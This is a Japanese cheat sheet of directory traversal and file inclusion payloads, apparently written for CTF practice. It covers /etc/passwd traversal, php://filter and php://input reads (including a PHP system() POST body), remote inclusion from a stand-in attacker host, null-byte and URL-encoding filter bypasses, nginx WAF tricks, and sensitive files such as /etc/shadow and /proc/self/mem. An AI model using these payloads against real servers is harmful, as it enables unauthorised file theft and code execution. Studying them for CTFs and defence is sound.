本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。
ディレクトリトラバーサルとは
サーバ側でのファイルアクセス時にユーザー入力によって意図せぬパスへアクセスされてしまう脆弱性の総称。
LFI,RFIといったファイルインクルージョンもこの脆弱性に入る。
- LFI: Local File Inclusion
- requireやincludeなどの読み込む系の引数に対してインジェクションを行うことで、"サーバのローカルファイル"を読み込む
- RFI: Remote File Inclusion
- requireやincludeなどの読み込む系の引数に対してインジェクションを行うことで、"外部サーバのファイル"を読み込む
- 参考
攻撃シナリオ
例えばget.php?file=image.jpg
という風にファイルを取得するエンドポイントがあったとする。
この場合に適切に処理を行っていないと、get.php?file=/etc/passwd
と書くことで任意のファイルを抜き出すことができてしまう。
攻撃ペイロード
get.php?file=[file]
に入れるペイロード集
/etc/passwd
ルートディレクトリ指定ができるかも../etc/passwd
,../../etc/passwd
ルートディレクトリ指定できなくても../
を増やしていき、表示できるか探せばいいphp://filter/convert.base64-encode/resource=index.php
テク
便利プロトコル
- php
php://filter/convert.base64-encode/resource=index.php
よく使う。base64した状態でresourceのファイルを出力されるphp://filter/resource=index.php
こうすると、base64せず普通の状態でファイル出力されるphp://input
- これを書いて、POSTで
<?php system("ls -la ./"); ?>
を送ると、POSTデータをinclusionできる。RFIっぽいけど、厳密にはどうなんだろう
- これを書いて、POSTで
- 他にも色々ある PHPがサポートするURLスキームを調査する - Ryoto's Blog
- data
- expect
expect://ls
使えたことがないけど、こういうこともできるらしい
- http
http:/../../../var/www/uploads/df0f1a1ac715de9266c8d8391769156a
- こういう記法もあるっぽい?ローカルファイルを取得するのと同じ
- 普通にどっかのサーバにファイルを上げて、
http://attacker-server.example.com/evil.php
とかしてRFIできる問題もある
- file
Nullバイト攻撃
例えば、ファイル名を受け取って末尾に.txtを付けて取ってくるという処理がある。
この時に、任意のファイル名を入力するが、末尾には.txtを付けたくないという場面がある。
この時に、\0を末尾に付ければ、それ以降の文字列が無視されて、.txtも無視できる脆弱性がある。
URLエンコーディングで%00を末尾に付ければいい。
どういう言語のどういう関数で成立するかは要調査だが、phpの一部関数では成立する。
フィルタリングのバイパス
入力値にフィルタリングを施して、ディレクトリトラバーサルを回避している場合がある。
一部は以下でバイパス可能。
- URLエンコーディングで騙す
../
→%2e%2e%2f
.
の代わりに%E3%80%82
を指定する(%E3%80%82
は。
のURLエンコード)#291750 Link filter protection bypass- web application - Alternative ways to exploit this path traversal - Information Security Stack Exchange
- 大文字でも使えたりする
php://
はPhp://
でも使える
言語毎
読み取りディレクトリ先
- /etc
- /etc/passwd
いつもの
- /etc/shadow
- /etc/apache2
- /etc/apache2/apache2.conf
apache設定ファイル
- /etc/apache2/apache2.conf
- /etc/passwd
- /proc
- /proc/self
- /proc/self/maps
メモリマップを確認
- /proc/self/mem
実際のメモリへのシンボリックリンク
- /proc/self/maps
- /proc/self
- /var/www/html
こうやると、メモリ情報も抜けるっぽい
- /proc/self/mapsでメモリマップを確認できる
- /proc/self/memで実際のメモリにアクセスできる
- /proc/self/mapsで怪しいメモリアドレスを特定して、/proc/self/memのその部分を持ってくる
- ångstromCTF - LeetTube
WAFについて(ついでにミドルウェア部分の攻撃テクも)
Web Application Firewallによってディレクトリトラバーサルが抑制されている場合がある。
リクエストは「ユーザー → WAF → アプリ」と流れていき、WAFでリクエストを止めていたりする。
nginx
- ディレクトリトラバーサル対策のWAFをバイパスするには
../../
がブラックリスト入りしているかも../?/../../
としてみる。先頭に?/../
を入れてみる- すると、WAFでは?以降はクエリとして扱われて回避できるが、実装によっては?フォルダがあると解釈されて、?フォルダに入って../で抜けるみたいな感じにできる
- Path traversal via misconfigured NGINX alias - Vulnerabilities - Acunetix
- alias../のような微妙なものを用意しておいて、alias部分が変換されると、うまいことディレクトリトラバーサルが発動するようなもの
- たぶんNGINXではURLのノーマライゼーションを行ってる
ユーザー -1-> NGINX -2-> Flaskとか
- 1の段階では
http://example.com/get/../hidden.txt
となっていてもNGINX通った段階で、http://example.com/hidden.txt
となってると思う。
- 0.6.36以下 パストラバーサル
- Nginx 0.6.36 - Directory Traversal - Multiple remote Exploit
/
->%5c
、.
->%2e
と変換してバイパス
CTF Writeups
Practicalな話
実装時に気を付けること
工事中
(CTFじゃ使えないけど)テストツール
工事中